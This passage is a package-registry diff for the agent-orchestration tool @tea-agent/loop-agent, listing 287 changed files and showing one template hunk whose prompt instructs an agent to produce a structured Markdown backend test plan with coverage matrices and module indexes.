@tea-agent/loop-agent 0.43.0-next.9 → 0.43.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (287) hide show
  1. package/AGENTS.md +1 -1
  2. package/CHANGELOG.md +31 -2309
  3. package/README.md +7 -0
  4. package/dist/application/dag/args.js +8 -0
  5. package/dist/application/task-lifecycle/advance.js +38 -7
  6. package/dist/build-stamp.json +3 -3
  7. package/dist/cli/command-definitions.js +2 -0
  8. package/dist/cli/program.js +3 -1
  9. package/dist/cli/update/init-surface-notifier.js +2 -0
  10. package/dist/cli/update/policy.js +2 -0
  11. package/dist/commands/client-recovery.js +20 -55
  12. package/dist/commands/cursor-prompt.js +2 -0
  13. package/dist/commands/dag-approve.js +2 -0
  14. package/dist/commands/dag-final-verification.js +2 -0
  15. package/dist/commands/dag-init-hybrid.js +2 -0
  16. package/dist/commands/dag-reconcile-tasks.js +2 -0
  17. package/dist/commands/dag-reject.js +2 -0
  18. package/dist/commands/dag-report.js +2 -0
  19. package/dist/commands/dag-rerun.js +2 -0
  20. package/dist/commands/dag-resume.js +2 -0
  21. package/dist/commands/dag-workflow-compile.js +2 -0
  22. package/dist/commands/dag-workflow-plan.js +2 -0
  23. package/dist/commands/dag-workflow-validate.js +2 -0
  24. package/dist/commands/delegate.js +2 -0
  25. package/dist/commands/examples.js +2 -0
  26. package/dist/commands/import-prd.js +2 -0
  27. package/dist/commands/init-model-catalog.js +2 -0
  28. package/dist/commands/init.js +19 -13
  29. package/dist/commands/instructions.js +2 -0
  30. package/dist/commands/knowledge.js +2 -0
  31. package/dist/commands/loop-benchmark.js +2 -0
  32. package/dist/commands/pi-prompt.js +2 -0
  33. package/dist/commands/pi-reuse-benchmark.js +2 -0
  34. package/dist/commands/promote-run.js +2 -0
  35. package/dist/commands/stats.js +1 -1
  36. package/dist/commands/study-init.js +2 -0
  37. package/dist/commands/task-advance.js +34 -0
  38. package/dist/commands/task-source-prepare.js +2 -0
  39. package/dist/commands/worktree-create.js +2 -0
  40. package/dist/commands/worktree-remove.js +2 -0
  41. package/dist/executors/dag-pi-executor.js +1650 -198
  42. package/dist/executors/pi-executor.js +85 -3
  43. package/dist/executors/pi-sdk-executor.js +18 -0
  44. package/dist/executors/shell-executor.js +93 -7
  45. package/dist/executors/shell-verification.js +3 -0
  46. package/dist/executors/shell-write-guard.js +27 -32
  47. package/dist/governance/exec-plans.js +6 -3
  48. package/dist/infrastructure/console/app-data.js +6 -0
  49. package/dist/shared/artifacts-core.js +2 -0
  50. package/dist/shared/backend-dogfood-preflight.js +47 -0
  51. package/dist/shared/dag-failure-category.js +3 -0
  52. package/dist/shared/git-progress.js +2 -0
  53. package/dist/shared/one-shot-prompt-args.js +2 -0
  54. package/dist/shared/operator/capabilities.js +180 -0
  55. package/dist/shared/package-metadata.js +6 -4
  56. package/dist/shared/pi-context-pressure/extension.js +26 -16
  57. package/dist/shared/pi-context-pressure/sift-bridge.js +1 -1
  58. package/dist/shared/pi-provider-recovery.js +182 -0
  59. package/dist/shared/pi-retry-settings.js +40 -0
  60. package/dist/shared/reference-context.js +2 -0
  61. package/dist/task/config-types.js +29 -0
  62. package/dist/task/contract/project.js +9 -0
  63. package/dist/task/contract/recover.js +6 -0
  64. package/dist/task/contract/schema.js +17 -0
  65. package/dist/task/source-prepare/artifact-meta.js +9 -2
  66. package/dist/task/source-prepare/build-draft.js +60 -0
  67. package/dist/task/source-prepare/fragment-inventory.js +4 -1
  68. package/dist/task/source-prepare/parse-intent.js +36 -11
  69. package/dist/task/task-demand-routing.js +5 -2
  70. package/dist/worker/console/chat/browser-automation.js +523 -0
  71. package/dist/worker/console/chat/browser-policy.js +6 -36
  72. package/dist/worker/console/chat/browser-routes.js +188 -56
  73. package/dist/worker/console/chat/explore-tools.js +5 -2
  74. package/dist/worker/console/chat/pi-mode-loop-isolation.js +155 -0
  75. package/dist/worker/console/chat/pi-runtime/custom-tools/ask-user-question.js +44 -0
  76. package/dist/worker/console/chat/pi-runtime/custom-tools/browser-tools.js +184 -0
  77. package/dist/worker/console/chat/pi-runtime/custom-tools/explore-tools.js +202 -0
  78. package/dist/worker/console/chat/pi-runtime/custom-tools/goal-tools.js +79 -0
  79. package/dist/worker/console/chat/pi-runtime/custom-tools/operator-tools.js +94 -0
  80. package/dist/worker/console/chat/pi-runtime/custom-tools/scheduled-goal-tools.js +22 -0
  81. package/dist/worker/console/chat/pi-runtime/custom-tools/todo-write.js +38 -0
  82. package/dist/worker/console/chat/pi-runtime/inspection-types.js +28 -0
  83. package/dist/worker/console/chat/pi-runtime/inspection.js +439 -0
  84. package/dist/worker/console/chat/pi-runtime/progressive-tools.js +195 -0
  85. package/dist/worker/console/chat/pi-runtime/sdk-bindings.js +153 -0
  86. package/dist/worker/console/chat/pi-runtime/sdk-session.js +5 -0
  87. package/dist/worker/console/chat/pi-runtime.js +208 -1138
  88. package/dist/worker/console/chat/routes.js +27 -7
  89. package/dist/worker/console/chat/scheduled-goal-booking.js +59 -0
  90. package/dist/worker/console/chat/scheduled-goal-delivery.js +27 -0
  91. package/dist/worker/console/chat/scheduled-goal-request.js +190 -0
  92. package/dist/worker/console/chat/sdd-data-alignment.js +1 -1
  93. package/dist/worker/console/chat/session-mode-view.js +5 -4
  94. package/dist/worker/console/chat/session-mode.js +18 -12
  95. package/dist/worker/console/chat/session-store.js +42 -9
  96. package/dist/worker/console/chat/tool-preview.js +115 -0
  97. package/dist/worker/console/chat/tools.js +10 -0
  98. package/dist/worker/console/chat/turn-order.js +13 -0
  99. package/dist/worker/console/chat/turn-process.js +32 -30
  100. package/dist/worker/console/console-update-and-init.js +1 -19
  101. package/dist/worker/console/console-update-runtime.js +5 -20
  102. package/dist/worker/console/operator-actions.js +63 -1
  103. package/dist/worker/console/prd-intake-bridge.js +54 -1
  104. package/dist/worker/console/routes.js +8 -0
  105. package/dist/worker/console/scheduled-goal-host.js +98 -0
  106. package/dist/worker/console/scheduled-goal-operation-adapter.js +127 -0
  107. package/dist/worker/console/server.js +24 -1
  108. package/dist/worker/console/static/assets/{abnfDiagram-N423BO3Z-D_fNbWc_.js → abnfDiagram-N423BO3Z-8-j6y-sd.js} +1 -1
  109. package/dist/worker/console/static/assets/{arc-_HuqLW6m.js → arc-eoQiMvuk.js} +1 -1
  110. package/dist/worker/console/static/assets/{architectureDiagram-T3A2C74G-Djy2qY1m.js → architectureDiagram-T3A2C74G-C4A3uMcI.js} +1 -1
  111. package/dist/worker/console/static/assets/{blockDiagram-VBNYF7ZC-bB-1TSyY.js → blockDiagram-VBNYF7ZC-D4zD2F-Q.js} +1 -1
  112. package/dist/worker/console/static/assets/{c4Diagram-5PPSVZJV-C5Hmghrz.js → c4Diagram-5PPSVZJV-j1RkJziL.js} +1 -1
  113. package/dist/worker/console/static/assets/channel-ChE7y-cx.js +1 -0
  114. package/dist/worker/console/static/assets/{chunk-2GRJ4B5K-Duyl39oy.js → chunk-2GRJ4B5K-YBHmhik1.js} +1 -1
  115. package/dist/worker/console/static/assets/{chunk-2Q5K7J3B-x6mdnSyf.js → chunk-2Q5K7J3B-COfWyo9P.js} +1 -1
  116. package/dist/worker/console/static/assets/{chunk-5RXB4S5H-WlBuFj7W.js → chunk-5RXB4S5H-I99OUkHY.js} +1 -1
  117. package/dist/worker/console/static/assets/{chunk-5VM5RSS4-CTF429HX.js → chunk-5VM5RSS4-XKxoJNJ4.js} +1 -1
  118. package/dist/worker/console/static/assets/{chunk-6Q2QTUOP-Dwd6r-SF.js → chunk-6Q2QTUOP-DLT_cYx1.js} +1 -1
  119. package/dist/worker/console/static/assets/{chunk-GF5L2VYU-C-Br82D1.js → chunk-GF5L2VYU-CxcKZ9mV.js} +1 -1
  120. package/dist/worker/console/static/assets/{chunk-JWPE2WC7-CuGp0DeE.js → chunk-JWPE2WC7-V1EqXdjY.js} +1 -1
  121. package/dist/worker/console/static/assets/{chunk-KBJHAD2P-CJhFX6Lh.js → chunk-KBJHAD2P-DebTtdFp.js} +1 -1
  122. package/dist/worker/console/static/assets/{chunk-RYQCIY6F-DpGOa_jT.js → chunk-RYQCIY6F-B-ivNRDf.js} +1 -1
  123. package/dist/worker/console/static/assets/{chunk-XXDRQBXY-DXJaTynd.js → chunk-XXDRQBXY-DC_Ds11b.js} +1 -1
  124. package/dist/worker/console/static/assets/classDiagram-JCYQIIEL-C01TCf2X.js +1 -0
  125. package/dist/worker/console/static/assets/classDiagram-v2-OCEON4UE-C01TCf2X.js +1 -0
  126. package/dist/worker/console/static/assets/{cose-bilkent-JH36ORCC-CRBZWjE4.js → cose-bilkent-JH36ORCC-sWEqKwIb.js} +1 -1
  127. package/dist/worker/console/static/assets/{cynefin-VYW2F7L2-BdXcxtlb.js → cynefin-VYW2F7L2-BXa_dcu4.js} +1 -1
  128. package/dist/worker/console/static/assets/{cynefinDiagram-MW4NZA55-07UKsOts.js → cynefinDiagram-MW4NZA55-C-Mle84F.js} +1 -1
  129. package/dist/worker/console/static/assets/{dagre-VZM6K2ZE-D38p9__S.js → dagre-VZM6K2ZE-CXPDBITe.js} +1 -1
  130. package/dist/worker/console/static/assets/{diagram-7IWD3JNH-nSiBNNjH.js → diagram-7IWD3JNH-CC-WJQfa.js} +1 -1
  131. package/dist/worker/console/static/assets/{diagram-B4RE2ZJO-BFOTot5D.js → diagram-B4RE2ZJO-CDAV5Vs4.js} +1 -1
  132. package/dist/worker/console/static/assets/{diagram-LBJQPF4R-DypKaZ6k.js → diagram-LBJQPF4R-CmFiAcNz.js} +1 -1
  133. package/dist/worker/console/static/assets/{diagram-Q27KOJAE-B6yoOQeW.js → diagram-Q27KOJAE-DPBZHuyn.js} +1 -1
  134. package/dist/worker/console/static/assets/{diagram-UB23O5K3-BHYS6viX.js → diagram-UB23O5K3-jUlm_Ds3.js} +1 -1
  135. package/dist/worker/console/static/assets/{ebnfDiagram-BXEA7PRR-D2VD5Snj.js → ebnfDiagram-BXEA7PRR-DWhQ3mfY.js} +1 -1
  136. package/dist/worker/console/static/assets/{erDiagram-JOGREHBK-E98mWxN1.js → erDiagram-JOGREHBK-Tr2gMqet.js} +1 -1
  137. package/dist/worker/console/static/assets/{flowDiagram-UKHOOZJN-CT1zxhqP.js → flowDiagram-UKHOOZJN-DJjVQHPA.js} +1 -1
  138. package/dist/worker/console/static/assets/{ganttDiagram-PKOTCBZU-6GcngNcy.js → ganttDiagram-PKOTCBZU-D74dQ4u0.js} +1 -1
  139. package/dist/worker/console/static/assets/{gitGraphDiagram-DS77QQ5N-DCL6NvKe.js → gitGraphDiagram-DS77QQ5N-DwW0tZ0X.js} +1 -1
  140. package/dist/worker/console/static/assets/index-BWkIfcrK.css +1 -0
  141. package/dist/worker/console/static/assets/index-Cdkvw_H6.js +469 -0
  142. package/dist/worker/console/static/assets/{infoDiagram-6WML65LV-C0627e-9.js → infoDiagram-6WML65LV-ILCbxJyb.js} +1 -1
  143. package/dist/worker/console/static/assets/{ishikawaDiagram-WSZJBQD7-C_u3P6Ik.js → ishikawaDiagram-WSZJBQD7-DeuWBQ89.js} +1 -1
  144. package/dist/worker/console/static/assets/{journeyDiagram-NVQOT4AX-DPDPv9HL.js → journeyDiagram-NVQOT4AX-CF5ih8Fk.js} +1 -1
  145. package/dist/worker/console/static/assets/{kanban-definition-27J2QSJJ-D3OHdWiO.js → kanban-definition-27J2QSJJ-C7yOSuRO.js} +1 -1
  146. package/dist/worker/console/static/assets/{linear-DI88zD7n.js → linear-BDZ9riWi.js} +1 -1
  147. package/dist/worker/console/static/assets/{mermaid.core-p2l8IrWY.js → mermaid.core-7pKqYtpZ.js} +5 -5
  148. package/dist/worker/console/static/assets/{mindmap-definition-FAOFIHXS-B1bAX-oS.js → mindmap-definition-FAOFIHXS-LeJDybSU.js} +1 -1
  149. package/dist/worker/console/static/assets/{pegDiagram-VL7TDLO6-DwOnWxdD.js → pegDiagram-VL7TDLO6-BJvT3pMD.js} +1 -1
  150. package/dist/worker/console/static/assets/{pieDiagram-7S7Q4E2Y-xRkTXnJC.js → pieDiagram-7S7Q4E2Y-_rGqpMan.js} +1 -1
  151. package/dist/worker/console/static/assets/{quadrantDiagram-CIZ2JOQS-_9UC5Zio.js → quadrantDiagram-CIZ2JOQS-DPcSv5aA.js} +1 -1
  152. package/dist/worker/console/static/assets/{railroadDiagram-AXF67PYL-CgEUirWJ.js → railroadDiagram-AXF67PYL-Drxx4hkJ.js} +1 -1
  153. package/dist/worker/console/static/assets/{requirementDiagram-LRYGKXZP-Czbpwiyz.js → requirementDiagram-LRYGKXZP-BCTUdU4z.js} +1 -1
  154. package/dist/worker/console/static/assets/{sankeyDiagram-W5VNT64P-_j7_KiqY.js → sankeyDiagram-W5VNT64P-B6wzbZmB.js} +1 -1
  155. package/dist/worker/console/static/assets/{sequenceDiagram-SI44F4Z6-BNJa6Hyi.js → sequenceDiagram-SI44F4Z6-BGt8d3QQ.js} +1 -1
  156. package/dist/worker/console/static/assets/{sizeCapture-X5ZJPWSS-DedpKtOc.js → sizeCapture-X5ZJPWSS-7nlhJKo7.js} +1 -1
  157. package/dist/worker/console/static/assets/{stateDiagram-OKZ733FA-BBvthr7c.js → stateDiagram-OKZ733FA-Cv2stqMA.js} +1 -1
  158. package/dist/worker/console/static/assets/stateDiagram-v2-UEYNNEHI-DC7V5vcq.js +1 -0
  159. package/dist/worker/console/static/assets/{swimlanes-SLNWSIFB-Ds7umgEM.js → swimlanes-SLNWSIFB-qDAo4Yc1.js} +2 -2
  160. package/dist/worker/console/static/assets/swimlanesDiagram-ULZ7WXOC-Bwy4QUTO.js +8 -0
  161. package/dist/worker/console/static/assets/{timeline-definition-Z64GVDOM-CKa-p1nF.js → timeline-definition-Z64GVDOM-CKbDNKTr.js} +1 -1
  162. package/dist/worker/console/static/assets/{vennDiagram-T6HMQDX7-LoUNR56o.js → vennDiagram-T6HMQDX7-DI-9EHic.js} +1 -1
  163. package/dist/worker/console/static/assets/{wardleyDiagram-T6FBY63Y-Bqbl6ym7.js → wardleyDiagram-T6FBY63Y-BrzzRDpX.js} +1 -1
  164. package/dist/worker/console/static/assets/{xychartDiagram-ELKLHX3M-B8dUg4lf.js → xychartDiagram-ELKLHX3M-BclH5hGh.js} +1 -1
  165. package/dist/worker/console/static/index.html +2 -2
  166. package/dist/worker/console/static-src/operator-chat/chat-scroll-position.js +24 -0
  167. package/dist/worker/console/static-src/operator-chat/chat-sse-events.js +41 -11
  168. package/dist/worker/console/static-src/operator-chat/compaction-message.js +3 -17
  169. package/dist/worker/console/static-src/operator-chat/composer-session-ledger.js +192 -0
  170. package/dist/worker/console/static-src/operator-chat/pending-user-message.js +9 -1
  171. package/dist/worker/console/static-src/operator-chat/slash-palette-nav.js +15 -5
  172. package/dist/worker/console/static-src/operator-chat/timeline-merge.js +29 -0
  173. package/dist/worker/console/static-src/operator-chat/useChatSessions.js +92 -38
  174. package/dist/worker/console/static-src/operator-chat/useChatStream.js +145 -70
  175. package/dist/worker/console/static-src/operator-chat/useChatThread.js +38 -55
  176. package/dist/worker/console/static-src/operator-chat/useComposer.js +182 -69
  177. package/dist/worker/console/static-src/operator-chat/useRepoBrowser.js +2 -0
  178. package/dist/worker/console/static-src/prd-file-import.js +3 -1
  179. package/dist/worker/console/workspace-context.js +22 -0
  180. package/dist/worker/console/workspace-initialization.js +209 -0
  181. package/dist/worker/delivery/git-transaction.js +2 -0
  182. package/dist/worker/feature/fullstack-validate.js +2 -0
  183. package/dist/worker/loop-agent/loop-agent-client.js +8 -2
  184. package/dist/worker/materialize/harness-task-materializer.js +4 -1
  185. package/dist/worker/metrics/projector.js +1 -1
  186. package/dist/worker/observability/event-store.js +4 -1
  187. package/dist/worker/observability/read-model.js +4 -1
  188. package/dist/worker/observe/node-transparency.js +23 -1
  189. package/dist/worker/observe/routes.js +4 -0
  190. package/dist/worker/observe/static/operator-chrome.js +3 -1
  191. package/dist/worker/observe/static/styles.css +7 -4
  192. package/dist/worker/observe/static/views/dag-inspector.js +5 -19
  193. package/dist/worker/outcomes/declared-artifacts.js +2 -0
  194. package/dist/worker/preflight.js +3 -0
  195. package/dist/worker/scheduler/scheduled-goal-dispatch.js +117 -0
  196. package/dist/worker/scheduler/scheduled-goal-evidence.js +167 -0
  197. package/dist/worker/scheduler/scheduled-goal-recovery.js +62 -0
  198. package/dist/worker/scheduler/scheduled-goal-store.js +699 -0
  199. package/dist/worker/scheduler/scheduled-goal-supervisor.js +132 -0
  200. package/dist/worker/scheduler/scheduled-goal-time.js +102 -0
  201. package/dist/worker/scheduler/scheduled-goal-types.js +95 -0
  202. package/dist/worker/task-spec/validate.js +4 -1
  203. package/dist/workflows/dag/backend-test-markdown-workflow.js +6 -24
  204. package/dist/workflows/dag/backend-test-plan-protocol.js +82 -5
  205. package/dist/workflows/dag/dag-retry-schema.js +11 -0
  206. package/dist/workflows/dag/decision-envelope.js +2 -0
  207. package/dist/workflows/dag/dynamic-runtime/shared.js +2 -2
  208. package/dist/workflows/dag/frontend-closeout.js +3 -1
  209. package/dist/workflows/dag/frontend-committed-facts.js +461 -0
  210. package/dist/workflows/dag/frontend-durable-tools.js +15 -3
  211. package/dist/workflows/dag/frontend-implementation-contract.js +369 -12
  212. package/dist/workflows/dag/frontend-plan-canary.js +53 -0
  213. package/dist/workflows/dag/frontend-plan-decision-contract.js +803 -0
  214. package/dist/workflows/dag/frontend-plan-render.js +0 -2
  215. package/dist/workflows/dag/frontend-provider-capability-matrix.js +8 -61
  216. package/dist/workflows/dag/frontend-recovery-run.js +57 -0
  217. package/dist/workflows/dag/frontend-repair.js +55 -76
  218. package/dist/workflows/dag/frontend-review-context.js +42 -68
  219. package/dist/workflows/dag/frontend-review-scopes.js +2 -2
  220. package/dist/workflows/dag/frontend-risk.js +92 -10
  221. package/dist/workflows/dag/frontend-session-budget.js +117 -3
  222. package/dist/workflows/dag/frontend-shape.js +11 -55
  223. package/dist/workflows/dag/frontend-test-execution-evidence.js +35 -10
  224. package/dist/workflows/dag/frontend-typed-event-store.js +32 -25
  225. package/dist/workflows/dag/frontend-verification-trace.js +33 -54
  226. package/dist/workflows/dag/frontend-writer-admission.js +3 -47
  227. package/dist/workflows/dag/frontend-writer-status.js +0 -23
  228. package/dist/workflows/dag/init-hybrid.js +47 -19
  229. package/dist/workflows/dag/interrupt-request.js +2 -0
  230. package/dist/workflows/dag/lifecycle.js +11 -2
  231. package/dist/workflows/dag/node-execution.js +50 -13
  232. package/dist/workflows/dag/reconcile-run.js +2 -0
  233. package/dist/workflows/dag/repair-artifact.js +3 -1
  234. package/dist/workflows/dag/report.js +2 -0
  235. package/dist/workflows/dag/rerun-plan.js +10 -0
  236. package/dist/workflows/dag/rerun-task.js +79 -1
  237. package/dist/workflows/dag/retry-policy.js +18 -0
  238. package/dist/workflows/dag/scheduler.js +2 -4
  239. package/dist/workflows/dag/types.js +44 -6
  240. package/dist/workflows/dag/validate.js +4 -0
  241. package/docs/README.md +1 -0
  242. package/docs/architecture/runtime-boundaries.md +3 -3
  243. package/docs/governance/README.md +1 -0
  244. package/docs/init-surface.manifest.json +1 -0
  245. package/docs/operations/README.md +2 -0
  246. package/docs/templates/README.md +1 -1
  247. package/docs/templates/agent-dag.schema.json +2 -2
  248. package/docs/templates/backend-test-dag.json +14 -10
  249. package/docs/templates/frontend-implementation-contract.schema.json +0 -7
  250. package/package.json +9 -3
  251. package/skills/frontend-bounded-implement/references/code-standards.md +3 -3
  252. package/skills/frontend-contract/references/contract-protocol.md +3 -1
  253. package/skills/frontend-plan/SKILL.md +8 -6
  254. package/skills/frontend-plan/references/decision-contract.md +3 -3
  255. package/skills/frontend-review/SKILL.md +18 -28
  256. package/skills/frontend-review/references/review-findings.md +8 -3
  257. package/dist/commands/new-task.js +0 -5
  258. package/dist/commands/status.js +0 -57
  259. package/dist/commands/task-contract.js +0 -269
  260. package/dist/shared/prompts.js +0 -26
  261. package/dist/task/config.js +0 -2
  262. package/dist/task/contract/validate-draft.js +0 -106
  263. package/dist/task/goal.js +0 -3
  264. package/dist/task/index.js +0 -12
  265. package/dist/task/lifecycle.js +0 -1
  266. package/dist/task/operator/capabilities.js +0 -6
  267. package/dist/task/operator/envelope.js +0 -2
  268. package/dist/task/operator/index.js +0 -5
  269. package/dist/task/operator/registry.js +0 -2
  270. package/dist/task/operator/types.js +0 -1
  271. package/dist/task/paths.js +0 -1
  272. package/dist/task/source-state.js +0 -1
  273. package/dist/task/subagent-guidance.js +0 -1
  274. package/dist/worker/console/chat/sift-bridge.js +0 -1
  275. package/dist/worker/console/index.js +0 -20
  276. package/dist/worker/console/static/assets/channel-C0A6UEIa.js +0 -1
  277. package/dist/worker/console/static/assets/classDiagram-JCYQIIEL-DzguNppy.js +0 -1
  278. package/dist/worker/console/static/assets/classDiagram-v2-OCEON4UE-DzguNppy.js +0 -1
  279. package/dist/worker/console/static/assets/index-24jp3aBh.js +0 -468
  280. package/dist/worker/console/static/assets/index-CY6y6I8M.css +0 -1
  281. package/dist/worker/console/static/assets/stateDiagram-v2-UEYNNEHI-BABVQnfM.js +0 -1
  282. package/dist/worker/console/static/assets/swimlanesDiagram-ULZ7WXOC-D0qsLaxR.js +0 -8
  283. package/dist/worker/scheduler/index.js +0 -25
  284. package/dist/workflows/dag/facts.js +0 -4
  285. package/dist/workflows/dag/frontend-shadow-dual-write.js +0 -975
  286. package/dist/workflows/dag/index.js +0 -6
  287. package/dist/workflows/dynamic/index.js +0 -7
@@ -148,7 +148,7 @@
148
148
  "validate-backend-test-environment-shell"
149
149
  ],
150
150
  "complexity": "MED",
151
- "subtask_prompt": "This is a required plan-generation node. Read only the strict read set and return the complete Markdown plan in the assistant response. Start the response with the final Markdown artifact immediately; never narrate analysis, reasoning, source summaries, or plans for producing the plan. The runtime persists the response as a run-owned Harness artifact named generate-backend-md-plan-pi/plan.md. Do not write testcase/md/README.md or any project file; module case cards are written by downstream sharded nodes.\n\nOutput budget protocol (hard, max output <=16K per turn): Emit the complete required section skeleton before filling long table rows, including exactly one Module Index table with at least one module row. Never paste full Matrix, case bodies, source text, analysis or reasoning into assistant chat. README holds only Scope+Matrix+module index; never inline full case bodies. If a Completeness Gate / OUTPUT_LIMIT_RECOVERY retry is injected, continue only listed target paths.\n\nReturn the complete plan as plain Markdown. Do not emit JSON or code fences. The plan must contain the exact English protocol headings ## Coverage Scope, ## Coverage Matrix, ## Scenario Partitions when applicable, and ## Module Index. Never translate those headings into 覆盖范围/覆盖矩阵/场景分区/模块索引.\n\nRead the upstream environment report only through the strict read set. Generate the Markdown-first backend test plan; it will be persisted under the current DAG run's Harness artifacts, not under testcase/md/.\n\nWrite human-readable content in Simplified Chinese by default. Keep English protocol literals exact: section headings, table headers, Partition IDs, TP IDs, Case IDs, HTTP methods, paths, field names, enum values, commands, filenames, code symbols and source citations. Never translate ## Module Index into ## 模块索引.\n\nCreate the concise plan entry page: test objective, target/environment, isolation/cleanup, module summary and a linked case index table with Case ID, Chinese case name, scenario type, endpoint and expected status/result. Avoid repeating every case body in the plan artifact.\n\nBefore the Coverage Matrix, write a mandatory machine-readable `## Coverage Scope` section in the plan artifact using exactly `| Field | Value |`, immediately followed by the separator row `|---|---|`, and these six unique rows: `Change Classification`, `Coverage Policy`, `Affected Operations`, `Affected Rule Keys`, `Regression Floor`, `Scope Evidence`. Always set `Change Classification` to `new-operation` and `Coverage Policy` to `full-contract`; do NOT reason about whether operations are new or existing. Cover all in-scope rules from the requirement document at full depth; treat the product requirement as the coverage baseline and use API contract evidence (fields/status/enum/boundary/format) to supplement scenario dimensions. Scope is limited to operations/rules the requirement document (or its referenced API contract) explicitly describes; do not expand to unrelated operations that the requirement does not mention. List affected operations exactly as `METHOD /path`, stable rule keys separated by semicolons, and precise source pointers as Scope Evidence.\n\nCoverage depth is full over the in-scope rules: fully cover every documented status, request/response field rule, requiredness, enum, boundary, format, auth and business state of each affected operation the requirement describes, but do not re-test unrelated operations the requirement does not mention. Inspect shared validator/helper/DTO/query builder evidence and expand Affected Operations when the same affected path can affect them; unresolved impact stays visible as GAP/CONFLICT.\n\nBefore writing cases, build the mandatory machine-readable Coverage Matrix inside the plan artifact itself. Its section heading line must be exactly `## Coverage Matrix` with no numeric prefix/suffix; never place the canonical Matrix only in a module file. Use this exact header: `| Rule Key | Priority | Source | Endpoint/Field | Dimension | Rule | Required Test Points | Case IDs | Status |`. Every data row must contain exactly 9 pipe-delimited cells and must never omit `Dimension`; use concise dimensions such as requirement, operation, response-status, requiredness, enum, boundary, format, business-state or error. Use only P0/P1/P2 and COVERED/PARTIAL/GAP/CONFLICT. Use stable `TP-<UPPERCASE-HYPHENATED-ID>` test points separated by semicolons.\n\nEach Rule Key must appear in exactly one Matrix row. Preserve each AC/REQ/BR Rule Key as one row; if one product rule spans multiple dimensions, use a concise composite Dimension in that single row instead of duplicating the key. Derive OpenAPI Rule Keys exactly as the deterministic analyzer does: operation token is `<HTTP-METHOD>-<PATH>` with braces removed and every non-alphanumeric run replaced by a hyphen, uppercase (for example POST `/api/resource-notes` → `POST-API-RESOURCE-NOTES`); response statuses use `API-<OPERATION>-RESPONSE-STATUS`; body/parameter fields use `API-<OPERATION>-<FIELD>-REQUIRED|ENUM|MIN-LENGTH|MAX-LENGTH|MINIMUM|MAXIMUM|PATTERN|FORMAT`. Do not invent aliases such as API-CREATE-FIELDS when a deterministic key applies.\n\nCoverage priority is strict inside the declared scope: P0 product requirements/task hard constraints always remain in scope; P1 exhaustively supplements documented operations, fields, business rules, statuses and errors only for Affected Operations; P2 adds bounded protocol robustness only when it is relevant to the change and does not invent product behavior. Coverage percentages describe the declared affected scope, never whole-API completeness unless every operation is explicitly listed. Conflicts or undefined expectations must stay visible as GAP/CONFLICT with precise source pointers, never guessed.\n\nFor uniqueness/lifecycle rules cover absent, active-existing, deleted-existing, create-delete-recreate, restore-then-recreate and documented scope/case-normalization states. For every enum cover every valid value plus bounded invalid equivalence classes (unknown, case variant, whitespace, empty, null/missing and wrong types as applicable). For every length/number rule cover min-1, min, nominal, max and max+1. For format rules cover each allowed class separately plus a valid mixed value, and representative forbidden classes including uppercase, internal/leading/trailing whitespace, tab/newline, unsupported punctuation, slash, emoji or control characters when the source contract supports that expectation.\n\nMandatory module layout contract: first inspect the PRIMARY requirement for an explicit list of required Markdown/Python output path pairs. When explicit paths are present, they are authoritative `explicit-user-layout`: reproduce their exact filenames, count and one-to-one pairs in Module Index; do not rename, merge, split, omit or add a module from reference/example scripts. Only when the primary requirement has no explicit file layout may you derive the smallest `business-resource-layout`. Existing examples, historical regression functions and shared setup may add evidence/assertions to an existing required module, but never create an extra physical module by themselves. A reference-only `resp_regression`, positive/negative/boundary/error/response module is forbidden. The Module Stem cell must contain only the plain filename stem; never put Markdown link syntax or a path in that cell.\n\nInclude exactly one `## Module Index` table with this exact header: `| Module Stem | Business Resource | Owned Operations | Owned Rule Keys | Case IDs | Split Reason | Markdown Path | Pytest Path |`. Use canonical relative links `[label](./<stem>.md)` inside the Markdown Path cell followed by the resolved `${layout.markdownDir}/<stem>.md` path. Split Reason is exactly one of `explicit-user-layout`, `primary-business-resource`, `independent-business-resource`, or `output-budget`. Group by stable business resource/domain, not by CRUD operation, AC, parameter/field axis, scenario type or regression purpose: one resource's list/detail/create/update/delete and its filters/response assertions/regression floor belong in one module. Multiple modules owning the same exact `METHOD /path` are forbidden unless every such row is `explicit-user-layout` from primary-requirement path pairs or has a documented `output-budget` proof. Keep the total module count at the smallest safe value and never exceed 8 modules. Name model-derived modules with stable lowercase business stems such as `health` or `resource_notes`; explicit-user-layout preserves the primary requirement filename stem even when it is more specific. Do not use priority-only stems `p0`, `p1` or `p2`; Priority belongs only in the Coverage Matrix. Pure hexadecimal/hash-like opaque stems and test-purpose-only stems are forbidden. Do not use Case-ID-like module filenames. The relative link target, Markdown Path, Pytest Path and downstream automation mapping must be one-to-one and exact; for model-derived modules the default pair remains `testcase/md/<module>.md` and `testcase/test_<module>.py`, while explicit-user-layout preserves the primary requirement paths. Do not hand-write a conflicting module count in prose; the Module Index row count is the only count truth.\n\nScenario Partitions (query/filter axes): inspect every affected GET/list operation for query/path parameters whose bound source documents a finite enum or classification domain. If at least one such axis exists, add exactly one machine-readable `## Scenario Partitions` section after the Coverage Matrix using exactly `| Partition ID | Operation | Axis | Domain | Required Slots | Expected by Slot | Bind Rule |` with the separator row and one row per eligible axis. If no affected axis has a source-backed finite domain, omit the entire `## Scenario Partitions` heading and section; do not emit an explanatory prose-only section. Partition ID is a stable `SP-<OPERATION>-<AXIS>` token; Domain must copy the legal values verbatim from the bound OpenAPI enum or requirement sentence (never guess), using bare semicolon-separated identifier values inside the single table cell (for example `ACTIVE; ARCHIVED`, with no Markdown backticks or prose); Required Slots must contain `each-value` and exactly one `not-in-set`, plus `omitted` only when the parameter is optional. Before returning, expand every declared partition into its complete deterministic exact slot ID set: one `TP-<Partition ID>-<VALUE-TOKEN>` per Domain value, `TP-<Partition ID>-OMITTED` only for an optional axis, and exactly one `TP-<Partition ID>-NOT-IN-SET`. Every expanded slot ID must appear verbatim in the binding Rule's `Required Test Points` cell and be assigned to concrete Case IDs in that same Coverage Matrix row; ordinary alias/family Test Points do not replace this inventory. Scheme A: Case count may be smaller than the enum count, but every exact slot still needs an independent variant Test Point and pytest.param id; never use SINGLE/MULTIPLE aliases as coverage. Expected by Slot states the documented expectation per slot kind (`domain-value`, `default-behavior`, `empty-result`/`excluded-result` when documented, or `GAP` when the source does not document the complement expectation — never invent 空列表/400). POST/PUT body field-validation enums stay in the Coverage Matrix as `TP-<FIELD>-ENUM-*` and MUST NOT get a Scenario Partition row. Do not create partitions for axes without a documented legal-value domain. Only GET/list query or path 